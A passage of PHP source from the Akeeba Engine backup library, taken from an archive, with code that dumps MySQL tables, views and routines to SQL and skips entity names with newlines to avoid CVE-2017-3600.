					 * When createNewPartIfRequired returns false it means that we have began adding a SQL part to the
					 * backup archive but it hasn't finished. If we don't return here, the code below will keep adding
					 * data to that dump file. Yes, despite being closed. When you call writeDump the file is reopened.
					 * As a result of writing data of length Y, the file that had a size X now has a size of X + Y. This
					 * means that the loop in BaseArchiver which tries to add it to the archive will never see its End
					 * Of File since we are trying to resume the backup from *beyond* the file position that was
					 * recorded as the file size. The archive can detect a file shrinking but not a file growing!
					 * Therefore we hit an infinite loop a.k.a. runaway backup.
					 */
					return;
				}

				$numRows++;
				$numOfFields = is_array($myRow) || $myRow instanceof \Countable ? count($myRow) : 0;

				// On MS SQL Server there's always a RowNumber pseudocolumn added at the end, screwing up the backup (GRRRR!)
				if ($db->getDriverType() == 'mssql')
				{
					$numOfFields--;
				}

				// If row-level filtering is enabled, please run the filtering
				if ($mustFilterRows)
				{
					$isFiltered = $filters->isFiltered(
						[
							'table' => $tableAbstract,
							'row'   => $myRow,
						],
						$dbRoot,
						'dbobject',
						'children'
					);

					if ($isFiltered)
					{
						// Update the auto_increment value to avoid edge cases when the batch size is one
						if (!is_null($this->table_autoincrement['field']) && isset($myRow[$this->table_autoincrement['field']]))
						{
							$this->table_autoincrement['value'] = $myRow[$this->table_autoincrement['field']];
						}

						continue;
					}
				}

				if ($mustFilterContents)
				{
					$filters->filterDatabaseRowContent($dbRoot, $tableAbstract, $myRow);
				}

				if (
					(!$this->extendedInserts) || // Add header on simple INSERTs, or...
					($this->extendedInserts && empty($this->query)) //...on extended INSERTs if there are no other data, yet
				)
				{
					$newQuery  = true;
					$fieldList = $this->getFieldListSQL($columns);

					if ($numOfFields > 0)
					{
						$this->query = "INSERT INTO " . $db->nameQuote((!$use_abstract ? $tableName : $tableAbstract)) . " {$fieldList} VALUES \n";
					}
				}
				else
				{
					// On other cases, just mark that we should add a comma and start a new VALUES entry
					$newQuery = false;
				}

				$outData = '(';

				// Step through each of the row's values
				$fieldID = 0;

				// Used in running backup fix
				$isCurrentBackupEntry = false;

				// Fix 1.2a - NULL values were being skipped
				if ($numOfFields > 0)
				{
					foreach ($myRow as $fieldName => $value)
					{
						// The ID of the field, used to determine placement of commas
						$fieldID++;

						if ($fieldID > $numOfFields)
						{
							// This is required for SQL Server backups, do NOT remove!
							continue;
						}

						// Fix 2.0: Mark currently running backup as successful in the DB snapshot
						if ($tableAbstract == $statsTableAbstract)
						{
							if ($fieldID == 1)
							{
								// Compare the ID to the currently running
								$statistics           = Factory::getStatistics();
								$isCurrentBackupEntry = ($value == $statistics->getId());
							}
							elseif ($fieldID == 6)
							{
								// Treat the status field
								$value = $isCurrentBackupEntry ? 'complete' : $value;
							}
						}

						// Post-process the value
						if (is_null($value))
						{
							$outData .= "NULL"; // Cope with null values
						}
						else
						{
							// Accommodate for runtime magic quotes
							if (function_exists('get_magic_quotes_runtime'))
							{
								$value = @get_magic_quotes_runtime() ? stripslashes($value) : $value;
							}

							switch ($columnTypes[$fieldName] ?? '')
							{
								// Hex encode spatial data
								case 'GEOMETRY':
								case 'POINT':
								case 'LINESTRING':
								case 'POLYGON':
								case 'MULTIPOINT':
								case 'MULTILINESTRING':
								case 'MULTIPOLYGON':
								case 'GEOMETRYCOLLECTION':
									$hexEncoded = bin2hex($value);
									$value      = "x'$hexEncoded'";
									break;

								default:
									$value = $db->quote($value);
									break;
							}

							if ($this->postProcessValues)
							{
								$value = $this->postProcessQuotedValue($value);
							}

							$outData .= $value;
						}

						if ($fieldID < $numOfFields)
						{
							$outData .= ', ';
						}
					}
				}

				$outData .= ')';

				if ($numOfFields)
				{
					// If it's an existing query and we have extended inserts
					if ($this->extendedInserts && !$newQuery)
					{
						// Check the existing query size
						$query_length = strlen($this->query);
						$data_length  = strlen($outData);

						if (($query_length + $data_length) > $this->packetSize)
						{
							// We are about to exceed the packet size. Write the data so far.
							$this->query .= ";\n";

							if (!$this->writeDump($this->query, true))
							{
								return;
							}

							// Then, start a new query
							$fieldList = $this->getFieldListSQL($columns);

							$this->query = '';
							$this->query = "INSERT INTO " . $db->nameQuote((!$use_abstract ? $tableName : $tableAbstract)) . " {$fieldList} VALUES \n";
							$this->query .= $outData;
						}
						else
						{
							// We have room for more data. Append $outData to the query.
							$this->query .= ",\n";
							$this->query .= $outData;
						}
					}
					// If it's a brand new insert statement in an extended INSERTs set
					elseif ($this->extendedInserts && $newQuery)
					{
						// Append the data to the INSERT statement
						$this->query .= $outData;
						// Let's see the size of the dumped data...
						$query_length = strlen($this->query);

						if ($query_length >= $this->packetSize)
						{
							// This was a BIG query. Write the data to disk.
							$this->query .= ";\n";

							if (!$this->writeDump($this->query, true))
							{
								return;
							}

							// Then, start a new query
							$this->query = '';
						}
					}
					// It's a normal (not extended) INSERT statement
					else
					{
						// Append the data to the INSERT statement
						$this->query .= $outData;
						// Write the data to disk.
						$this->query .= ";\n";

						if (!$this->writeDump($this->query, true))
						{
							return;
						}

						// Then, start a new query
						$this->query = '';
					}
				}

				$outData = '';

				// Update the auto_increment value to avoid edge cases when the batch size is one
				if (!is_null($this->table_autoincrement['field']))
				{
					$this->table_autoincrement['value'] = $myRow[$this->table_autoincrement['field']];
				}

				unset($myRow);

				// Check for imminent timeout
				if ($timer->getTimeLeft() <= 0)
				{
					Factory::getLog()
						->debug("Breaking dump of $tableAbstract after $numRows rows; will continue on next step");

					break;
				}
			}

			$db->freeResult($cursor);

			// Advance the _nextRange pointer
			$this->nextRange += ($numRows != 0) ? $numRows : 1;

			$this->setStep($tableName);
			$this->setSubstep($this->nextRange . ' / ' . $this->maxRange);
		}

		// Finalize any pending query
		// WARNING! If we do not do that now, the query will be emptied in the next operation and all
		// accumulated data will go away...
		if (!empty($this->query))
		{
			$this->query .= ";\n";

			if (!$this->writeDump($this->query, true))
			{
				return;
			}

			$this->query = '';
		}

		// Check for end of table dump (so that it happens inside the same operation)
		if ($this->nextRange >= $this->maxRange)
		{
			// Tell the user we are done with the table
			Factory::getLog()->debug("Done dumping " . $tableAbstract);

			// Output any data preamble commands, e.g. SET IDENTITY_INSERT for SQL Server
			if ($dump_records && Factory::getEngineParamsProvider()->getScriptingParameter('db.dropstatements', 0))
			{
				Factory::getLog()->debug("Writing data dump epilogue for " . $tableAbstract);
				$epilogue = $this->getDataDumpEpilogue($tableAbstract, $tableName, $this->maxRange);

				if (!empty($epilogue))
				{
					if (!$this->writeDump($epilogue, true))
					{
						return;
					}
				}
			}

			if ((is_array($this->tables) || $this->tables instanceof \Countable ? count($this->tables) : 0) == 0)
			{
				// We have finished dumping the database!
				Factory::getLog()->info("End of database detected; flushing the dump buffers...");
				$this->writeDump(null);
				Factory::getLog()->info("Database has been successfully dumped to SQL file(s)");
				$this->setState(self::STATE_POSTRUN);
				$this->setStep('');
				$this->setSubstep('');
				$this->nextTable = '';
				$this->nextRange = 0;

				/**
				 * At the end of the database dump, if any query was longer than 1Mb, let's put a warning file in the
				 * installation folder, but ONLY if the backup is not a SQL-only backup (which has no backup archive).
				 */
				$isSQLOnly = $configuration->get('akeeba.basic.backup_type') == 'dbonly';

				if (!$isSQLOnly && ($this->largest_query >= 1024 * 1024))
				{
					$archive = Factory::getArchiverEngine();
					$archive->addFileVirtual('large_tables_detected', $this->installerSettings->installerroot, $this->largest_query);
				}
			}
			elseif ((is_array($this->tables) || $this->tables instanceof \Countable ? count($this->tables) : 0) != 0)
			{
				// Switch tables
				$this->nextTable = array_shift($this->tables);
				$this->nextRange = 0;
				$this->setStep($this->nextTable);
				$this->setSubstep('');
			}
		}
	}

	/** @inheritDoc */
	protected function getAllTables(): array
	{
		// Get a database connection
		$db = $this->getDB();

		$this->enforceSQLCompatibility();

		$sql = 'SHOW TABLES';
		$db->setQuery($sql);

		return $db->loadColumn() ?: [];
	}

	/**
	 * Get the MySQL entity type given a `CREATE <something>` SQL query.
	 *
	 * @param   string  $query
	 *
	 * @return  string|null
	 */
	private function getTypeFromCreateQuery(string $query): ?string
	{
		if (substr($query, 0, 7) !== 'CREATE ')
		{
			return null;
		}

		foreach (['TABLE', 'VIEW', 'PROCEDURE', 'EVENT', 'FUNCTION', 'TRIGGER'] as $entity)
		{
			if (strpos($query, ' ' . $entity . ' ', 7))
			{
				return strtolower($entity);
			}
		}

		return null;
	}

	/**
	 * Generate metadata for TABLEs and VIEWs
	 *
	 * @return  void
	 * @throws  Exception
	 */
	private function generateMetadataForTables(): void
	{
		$db = $this->getDB();

		$sql = 'SHOW TABLES';
		$db->setQuery($sql);
		$allTableNames = $db->loadResultArray(0);

		Factory::getLog()->debug(__CLASS__ . " :: Got SHOW TABLES");

		// Get filters and filter root
		$registry = Factory::getConfiguration();
		$root     = $registry->get('volatile.database.root', '[SITEDB]');
		$filters  = Factory::getFilters();

		foreach ($allTableNames as $tableName)
		{
			// Skip over tables not included in the backup set
			if (!array_key_exists($tableName, $this->table_name_map))
			{
				continue;
			}

			// Basic information
			$abstractName = $this->table_name_map[$tableName];
			$newEntry     = [
				'type'         => 'table',
				'dump_records' => true,
			];

			// Get the CREATE command
			$dependencies       = [];
			$newEntry['create'] = $this->getCreateStatement($abstractName, $tableName, $newEntry['type'], $dependencies);

			if ($newEntry['create'] === null)
			{
				continue;
			}

			$newEntry['dependencies'] = $dependencies;

			if ($newEntry['type'] === 'view')
			{
				$newEntry['dump_records'] = false;
			}

			// Scan for the table engine.
			if ($newEntry['type'] === 'table')
			{
				switch ($this->getTableEngineFromCreateStatement($newEntry['create']))
				{
					// Merge tables
					case 'MRG_MYISAM':
						$newEntry['type']         = 'merge';
						$newEntry['dump_records'] = false;

						break;

					// Tables whose data we do not back up (memory, federated and can-have-no-data tables)
					case 'MEMORY':
					case 'EXAMPLE':
					case 'BLACKHOLE':
					case 'FEDERATED':
						$newEntry['dump_records'] = false;

						break;

					// Normal tables
					default:
						break;
				}
			}

			// Table Data Filter: skip dumping table contents of filtered out tables.
			if ($filters->isFiltered($abstractName, $root, 'dbobject', 'content'))
			{
				$newEntry['dump_records'] = false;
			}

			$this->tables_data[$tableName] = $newEntry;
		}

		Factory::getLog()->debug(__CLASS__ . " :: Got table list");
	}

	/**
	 * Generate metadata for PROCEDUREs, EVENTs, FUNCTIONs, or TRIGGERs
	 *
	 * @param   string  $type  The entity type to generate metadata for
	 *
	 * @return  void
	 * @throws  Exception
	 */
	private function generateMetadataForEntity(string $type): void
	{
		$db = $this->getDB();

		switch ($type)
		{
			case 'event':
				$sql    = 'SHOW EVENTS WHERE `Db`=' . $db->quote($this->database);
				$offset = 1;
				break;

			case 'trigger':
				$sql    = 'SHOW TRIGGERS IN ' . $db->quoteName($this->database);
				$offset = 0;
				break;

			default:
				$sql    = 'SHOW ' . $type . ' STATUS WHERE `Db`=' . $db->quote($this->database);
				$offset = 1;
				break;
		}

		$db->setQuery($sql);

		try
		{
			$metadata_list = $db->loadRowList();
		}
		catch (Exception $e)
		{
			return;
		}

		if (!is_countable($metadata_list) || !count($metadata_list))
		{
			return;
		}

		foreach ($metadata_list as $entity_metadata)
		{
			$entity_name     = $entity_metadata[$offset];

			// Skip over entities not included in the backup set
			if (!array_key_exists($entity_name, $this->table_name_map))
			{
				continue;
			}

			// Basic information
			$entity_abstract = $this->table_name_map[$entity_name];
			$new_entry       = [
				'type'         => $type,
				'dump_records' => false,
			];

			$dependencies        = [];
			$new_entry['create'] = $this->getCreateStatement(
				$entity_abstract, $entity_name, $new_entry['type'], $dependencies
			);

			if ($new_entry['create'] === null)
			{
				continue;
			}

			$new_entry['dependencies']       = $dependencies;

			$this->tables_data[$entity_name] = $new_entry;
		}
	}

	/**
	 * Figure out the table's data storage engine given its CREATE statement.
	 *
	 * @param   string  $createSql  The CREATE statement for the table.
	 *
	 * @return  string
	 */
	private function getTableEngineFromCreateStatement(string $createSql): string
	{
		$engine      = 'MyISAM'; // So that even with MySQL 4 hosts we don't screw this up
		$engine_keys = ['ENGINE=', 'TYPE='];

		foreach ($engine_keys as $engine_key)
		{
			$start_pos = strrpos($createSql, $engine_key);

			if ($start_pos === false)
			{
				continue;
			}

			// Advance the start position just after the position of the ENGINE keyword
			$start_pos += strlen($engine_key);
			// Try to locate the space after the engine type
			$end_pos = stripos($createSql, ' ', $start_pos);

			if ($end_pos === false)
			{
				// Uh... maybe it ends with ENGINE=EngineType;
				$end_pos = stripos($createSql, ';', $start_pos);
			}

			if ($end_pos !== false)
			{
				// Grab the string
				$engine = substr($createSql, $start_pos, $end_pos - $start_pos);
			}
		}

		return strtoupper($engine);
	}

	/**
	 * Does the entity name include a newline or carriage return?
	 *
	 * These entity names are rarely, if ever, legitimate. They are likely to trigger the MySQL vulnerability
	 * CVE-2017-3600 (“Bad Dump”). As a result, they will be excluded from the database dump.
	 *
	 * @param   string  $type  The entity type: table, merge, view, procedure, event, function, or trigger.
	 * @param   string  $name  The name of the entity to process.
	 *
	 * @return  bool
	 */
	private function isCVEBadDump(string $type, string $name): bool
	{
		if ((strpos($name, "\r") === false) && (strpos($name, "\n") === false))
		{
			return false;
		}

		$name = str_replace(["\r", "\n"], ['\\r', '\\n'], $name);

		Factory::getLog()->warning(
			sprintf(
				"%s :: [SECURITY] %s %s includes newline characters. Skipping table to protect you against possible MySQL vulnerability CVE-2017-3600 (“Bad Dump”).",
				__CLASS__,
				ucfirst($type),
				$name
			)
		);

		return true;
	}

	/**
	 * Does the entity name start with the literal prefix `bak_`?
	 *
	 * These are backup copies of tables, views, etc created during a previous restoration. They will be automatically
	 * skipped from the backup to avoid restoration woes.
	 *
	 * @param   string  $type  The entity type: table, merge, view, procedure, event, function, or trigger.
	 * @param   string  $name  The name of the entity to process.
	 *
	 * @return  bool
	 */
	private function isBackupPrefix(string $type, string $name): bool
	{
		if (substr($name, 0, 4) != 'bak_')
		{
			return false;
		}

		Factory::getLog()->info(
			sprintf(
				"%s :: Backup %s %s automatically skipped.",
				__CLASS__,
				ucfirst($type),
				$name
			)
		);

		return true;
	}

	/**
	 * Does the entity name in the database start with the literal prefix `#__`?
	 *
	 * If this is the case, the entity will be automatically skipped from the backup as the literal prefix `#__` will
	 * clash with our abstract naming pattern during restoration.
	 *
	 * @param   string  $type  The entity type: table, merge, view, procedure, event, function, or trigger.
	 * @param   string  $name  The name of the entity to process.
	 *
	 * @return  bool
	 */
	private function isAbstractNamedInDatabase(string $type, string $name): bool
	{
		if (substr($name, 0, 3) !== '#__')
		{
			return false;
		}

		Factory::getLog()->warning(
			sprintf(
				"%s :: %s %s has a prefix of #__. This would cause restoration errors; table skipped.", __CLASS__,
				ucfirst($type),
				$name
			)
		);

		return true;
	}

	/**
	 * Generate the concrete to abstract map for TABLEs / VIEWs, PROCEDUREs, EVENTs, FUNCTIONs, or TRIGGERs.
	 *
	 * @param   string  $type  The entity type: table, procedire, event, function, trigger
	 *
	 * @return  void
	 * @throws  Exception
	 */
	private function generateMappingForEntities(string $type = 'procedure'): void
	{
		$db       = $this->getDB();
		$registry = Factory::getConfiguration();
		$filters  = Factory::getFilters();
		$root     = $registry->get('volatile.database.root', '[SITEDB]');

		Factory::getLog()->debug(
			sprintf("%s :: Listing stored %ss", __CLASS__, strtoupper($type))
		);

		switch ($type)
		{
			case 'table':
				$sql = 'SHOW TABLES';
				$offset = 0;
				break;

			case 'event':
				$sql = "SHOW EVENTS WHERE `Db`=" . $db->quote($this->database);
				$offset = 1;
				break;

			case 'trigger':
				$sql    = 'SHOW TRIGGERS IN ' . $db->quoteName($this->database);
				$offset = 0;
				break;

			default:
				$sql = "SHOW " . $type . " STATUS WHERE `Db`=" . $db->quote($this->database);
				$offset = 1;
				break;
		}

		$db->setQuery($sql);

		try
		{
			$allNames = $db->loadResultArray($offset);
		}
		catch (Exception $e)
		{
			return;
		}

		if (!is_countable($allNames) || !count($allNames))
		{
			return;
		}

		// If we have filters, make sure the tables pass the filtering.
		foreach ($allNames as $name)
		{
			if (
				$this->isAbstractNamedInDatabase($type, $name)
				|| $this->isCVEBadDump($type, $name)
				|| $this->isBackupPrefix($type, $name)
			)
			{
				continue;
			}

			$abstract = $this->getAbstract($name);

			if ($filters->isFiltered($abstract, $root, 'dbobject', 'all'))
			{
				Factory::getLog()->info(__CLASS__ . " :: Skipping $type $name (internal name $abstract)");

				continue;
			}

			Factory::getLog()->info(__CLASS__ . " :: Adding $type $name (internal name $abstract)");

			$this->table_name_map[$name] = $abstract;
		}
	}

	/**
	 * Is the CREATE statement one which creates a VIEW?
	 *
	 * @param   string  $table_sql  The CREATE statement
	 *
	 * @return  bool
	 */
	private function isCreateView(string $table_sql): bool
	{
		return (bool) preg_match('/^CREATE(.*?) VIEW\s/i', $table_sql);
	}

	/**
	 * Pre-process the CREATE SQL command of a procedure, event, function, or trigger.
	 *
	 * Remove the definer from the CREATE PROCEDURE/EVENT/TRIGGER/FUNCTION. For example, MySQL returns this:
	 * CREATE DEFINER=`myuser`@`localhost` PROCEDURE `abc_myProcedure`() ...
	 * If you're restoring on a different machine the definer will probably be invalid, therefore we need to
	 * remove it from the (portable) output.
	 *
	 * @param   string  $table_sql  The CREATE SQL statement
	 * @param   string  $type       The entity type: procedure, event, function, or trigger
	 *
	 * @return  string
	 * @throws  Exception
	 */
	private function preProcessCreateSQLForEntity(string $table_sql, string $type): string
	{
		$db = $this->getDB();

		// MySQL adds the database name into everything. We have to remove it.
		$dbName    = $db->qn($this->database) . '.`';
		$table_sql = str_replace($dbName, '`', $table_sql);

		// These can contain comment lines, starting with a double dash. Remove them.
		$table_sql = trim($table_sql);

		/**
		 * Remember, $table_sql may be multiline.
		 *
		 * Therefore, we need to process only the first line and append any further lines to the CREATE statement.
		 */
		$table_sql = trim($table_sql);
		$lines     = explode("\n", $table_sql);
		$firstLine = array_shift($lines);
		$pattern   = '/^CREATE(.*?) ' . strtoupper($type) . ' (.*)/i';
		$result    = preg_match($pattern, $firstLine, $matches);
		$table_sql = 'CREATE ' . strtoupper($type) . ' ' . $matches[2] . "\n" . implode("\n", $lines);
		$table_sql = trim($table_sql);

		return $table_sql;
	}

	/**
	 * Pre-process the CREATE VIEW command.
	 *
	 * Newer MySQL versions add the definer and other information in the CREATE VIEW output, e.g.
	 * CREATE ALGORITHM=UNDEFINED DEFINER=`muyser`@`localhost` SQL SECURITY DEFINER VIEW `abc_myview` AS ...
	 * We need to remove that to prevent restoration troubles.
	 *
	 * @param   string  $table_sql  The CREATE VIEW SQL statement
	 *
	 * @return  string
	 */
	private function preProcessCreateSQLForView(string $table_sql): string
	{
		preg_match('/^CREATE(.*?) VIEW (.*)/i', $table_sql, $matches);

		return 'CREATE VIEW ' . $matches[2];
	}

	/**
	 * Pre-process the CREATE TABLE command.
	 *
	 * This method addresses a lot of cross-server issues which may arise by using several not-so-important MYSQL and
	 * MariaDB features in tables such as:
	 * - Using BTREE / HASH statements for indices.
	 * - Tablespaces.
	 * - DATA/INDEX DIRECTORY.
	 * - ROW_FORMAT in InnoDB tables.
	 * - PAGE_CHECKSUM in MariaDB's MyISAM.
	 * - References to foreign tables in constraints and indices.
	 *
	 * @param   string  $table_sql  The CREATE VIEW SQL statement
	 *
	 * @return  string
	 */
	private function preProcessCreateSQLForTable(string $table_sql): string
	{
		// USING BTREE / USING HASH in indices causes issues migrating from MySQL 5.1+ hosts to MySQL 5.0 hosts
		if (Factory::getConfiguration()->get('engine.dump.native.nobtree', 1))
		{
			$table_sql = str_replace(' USING BTREE', ' ', $table_sql);
			$table_sql = str_replace(' USING HASH', ' ', $table_sql);
		}

		// Translate TYPE= to ENGINE=
		$table_sql = str_replace('TYPE=', 'ENGINE=', $table_sql);

		/**
		 * Remove the TABLESPACE option.
		 *
		 * The format of the TABLESPACE table option is:
		 * TABLESPACE tablespace_name [STORAGE {DISK|MEMORY}]
		 * where tablespace_name can be a quoted or unquoted identifier.
		 */
		[$validCharRegEx, $unicodeFlag] = $this->getMySQLIdentifierCharacterRegEx();
		$tablespaceName = "((($validCharRegEx){1,})|(`.*`))";
		$suffix         = 'STORAGE\s{1,}(DISK|MEMORY)';
		$regex          = "#TABLESPACE\s{1,}$tablespaceName\s{0,}($suffix){0,1}#i" . $unicodeFlag;
		$table_sql      = preg_replace($regex, '', $table_sql);

		// Remove table options {DATA|INDEX} DIRECTORY
		$regex     = "#(DATA|INDEX)\s{1,}DIRECTORY\s*=?\s*'.*'#i";
		$table_sql = preg_replace($regex, '', $table_sql);

		// Remove table options ROW_FORMAT=whatever
		$regex     = "#ROW_FORMAT\s*=\s*[A-Z]{1,}#i";
		$table_sql = preg_replace($regex, '', $table_sql);

		// Remove MariaDB MyISAM option PAGE_CHECKSUM
		$regex     = "#PAGE_CHECKSUM\s*=\s*[\d]{1,}#i";
		$table_sql = preg_replace($regex, '', $table_sql);

		// Abstract the names of table constraints and indices
		$regex     = "#(CONSTRAINT|KEY|INDEX)\s{1,}`{$this->prefix}#i";
		$table_sql = preg_replace($regex, '$1 `#__', $table_sql);

		return $table_sql;
	}

	/**
	 * Post-process the CREATE command for a view, table, procedure, event, function, or trigger.
	 *
	 * @param   string  $table_sql
	 * @param   string  $type
	 *
	 * @return  string
	 * @throws  Exception
	 */
	private function postProcessCreateSQL(string $table_sql, string $type): string
	{
		$db  = $this->getDB();

		// Add a final semicolon and newline character
		$table_sql = rtrim($table_sql);
		$table_sql = rtrim($table_sql, ';');
		$table_sql .= ";\n";

		/**
		 * Views, procedures, functions and triggers may contain the database name followed by the table name, always
		 * quoted e.g. `db`.`table_name`  We need to replace all these instances with just the table name. The only
		 * reliable way to do that is to look for "`db`.`" and replace it with "`"
		 */
		if (in_array($type, ['view', 'procedure', 'function', 'trigger', 'event']))
		{
			$dbName      = $db->qn($this->getDatabaseName());
			$dummyQuote  = $db->qn('foo');
			$findWhat    = $dbName . '.' . substr($dummyQuote, 0, 1);
			$replaceWith = substr($dummyQuote, 0, 1);
			$table_sql   = str_replace($findWhat, $replaceWith, $table_sql);
		}

		// Post-process CREATE VIEW
		if ($type == 'view')
		{
			$pos_view = strpos($table_sql, ' VIEW ');

			if ($pos_view > 7)
			{
				// Only post process if there are view properties between the CREATE and VIEW keywords
				// -- Properties string
				$propstring = substr($table_sql, 7, $pos_view - 7);
				// -- Fetch the ALGORITHM={UNDEFINED | MERGE | TEMPTABLE} keyword
				$algostring = '';
				$algo_start = strpos($propstring, 'ALGORITHM=');

				if ($algo_start !== false)
				{
					$algo_end   = strpos($propstring, ' ', $algo_start);
					$algostring = substr($propstring, $algo_start, $algo_end - $algo_start + 1);
				}

				// Create our modified create statement
				return 'CREATE OR REPLACE ' . $algostring . substr($table_sql, $pos_view);
			}
		}

		$pos_entity = stripos($table_sql, sprintf(" %s ", strtoupper($type)));

		if ($pos_entity !== false)
		{
			$table_sql = 'CREATE' . substr($table_sql, $pos_entity);
		}

		return $table_sql;
	}
}PK     \l~    0  vendor/akeeba/engine/engine/Dump/Native/None.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Dump\Base;
use Akeeba\Engine\Factory;

/**
 * Dump class for the "None" database driver (ie no database used by the application)
 */
#[\AllowDynamicProperties]
class None extends Base
{
	public function __construct()
	{
		parent::__construct();
	}

	/** @inheritDoc */
	protected function getTablesToBackup(): void
	{
	}

	/** @inheritDoc */
	protected function stepDatabaseDump(): void
	{
		Factory::getLog()->info("Reminder: database definitions using the 'None' driver result in no data being backed up.");

		$this->setState(self::STATE_FINISHED);
	}

	/** @inheritDoc */
	protected function getDatabaseNameFromConnection(): string
	{
		return '';
	}

	/** @inheritDoc */
	protected function getAllTables(): array
	{
		return [];
	}

	protected function _run()
	{
		Factory::getLog()->info("Reminder: database definitions using the 'None' driver result in no data being backed up.");

		$this->setState(self::STATE_POSTRUN);
	}

	protected function _finalize()
	{
		Factory::getLog()->info("Reminder: database definitions using the 'None' driver result in no data being backed up.");

		$this->setState(self::STATE_FINISHED);
	}
}
PK     \,  ,  E  vendor/akeeba/engine/engine/Dump/Native/MySQL/BadEntityNamesTrait.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native\MySQL;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/**
 * Trait to filter out entities which have a name that prevents us from backing them up.
 *
 * This is used to prevent security and functional issues during restoration.
 *
 * @since  9.10.0
 */
trait BadEntityNamesTrait
{
	/**
	 * Is the entity name “bad”, preventing us from backing it up?
	 *
	 * @param   string  $type  Entity type, e.g. 'table'.
	 * @param   string  $name  Entity name, as reported by the database server.
	 *
	 * @return  bool
	 */
	private function isBadEntityName(string $type, string $name): bool
	{
		return $this->isCVEBadDump($type, $name)
		       || $this->isBackupPrefix($type, $name)
		       || $this->isAbstractNamedInDatabase($type, $name);
	}

	/**
	 * Does the entity name include a newline or carriage return?
	 *
	 * These entity names are rarely, if ever, legitimate. They are likely to trigger the MySQL vulnerability
	 * CVE-2017-3600 (“Bad Dump”). As a result, they will be excluded from the database dump.
	 *
	 * @param   string  $type  The entity type: table, merge, view, procedure, event, function, or trigger.
	 * @param   string  $name  The name of the entity to process.
	 *
	 * @return  bool
	 */
	private function isCVEBadDump(string $type, string $name): bool
	{
		if ((strpos($name, "\r") === false) && (strpos($name, "\n") === false))
		{
			return false;
		}

		$name = str_replace(["\r", "\n"], ['\\r', '\\n'], $name);

		Factory::getLog()->warning(
			sprintf(
				"%s :: [SECURITY] %s %s includes newline characters. Skipping table to protect you against possible MySQL vulnerability CVE-2017-3600 (“Bad Dump”).",
				__CLASS__,
				ucfirst($type),
				$name
			)
		);

		return true;
	}

	/**
	 * Does the entity name start with the literal prefix `bak_`?
	 *
	 * These are backup copies of tables, views, etc created during a previous restoration. They will be automatically
	 * skipped from the backup to avoid restoration woes.
	 *
	 * @param   string  $type  The entity type: table, merge, view, procedure, event, function, or trigger.
	 * @param   string  $name  The name of the entity to process.
	 *
	 * @return  bool
	 */
	private function isBackupPrefix(string $type, string $name): bool
	{
		if (substr($name, 0, 4) != 'bak_')
		{
			return false;
		}

		Factory::getLog()->info(
			sprintf(
				"%s :: Backup %s %s automatically skipped.",
				__CLASS__,
				ucfirst($type),
				$name
			)
		);

		return true;
	}

	/**
	 * Does the entity name in the database start with the literal prefix `#__`?
	 *
	 * If this is the case, the entity will be automatically skipped from the backup as the literal prefix `#__` will
	 * clash with our abstract naming pattern during restoration.
	 *
	 * @param   string  $type  The entity type: table, merge, view, procedure, event, function, or trigger.
	 * @param   string  $name  The name of the entity to process.
	 *
	 * @return  bool
	 */
	private function isAbstractNamedInDatabase(string $type, string $name): bool
	{
		if (substr($name, 0, 3) !== '#__')
		{
			return false;
		}

		Factory::getLog()->warning(
			sprintf(
				"%s :: %s %s has a prefix of #__. This would cause restoration errors; table skipped.", __CLASS__,
				ucfirst($type),
				$name
			)
		);

		return true;
	}
}PK     \sa@  @  F  vendor/akeeba/engine/engine/Dump/Native/MySQL/CreateStatementTrait.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native\MySQL;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Exception;

trait CreateStatementTrait
{
	/**
	 * Gets the CREATE TABLE command for a given table, view, procedure, event, function, or trigger.
	 *
	 * @param   string  $abstractName  The abstracted name of the entity.
	 * @param   string  $concreteName  The concrete (database) name of the entity.
	 * @param   string  $type          The type of the entity to scan.
	 *
	 * @return  string|null  The CREATE statement
	 */
	private function getCreateStatement(
		string $abstractName, string $concreteName, string $type
	): ?string
	{
		$db = $this->getDB();

		try
		{
			$sql  = sprintf("SHOW CREATE %s %s", strtoupper($type), $db->quoteName($abstractName));
			$temp = $db->setQuery($sql)->loadAssocList();
		}
		catch (Exception $e)
		{
			// If the query failed we don't have the necessary SHOW privilege. Log the error and fake an empty reply.
			$msg        = $e->getMessage();
			Factory::getLog()->warning(
				"Cannot get the structure of $type $abstractName. Database returned error “{$msg}” running $sql  Please check your database privileges. Your database backup may be incomplete."
			);

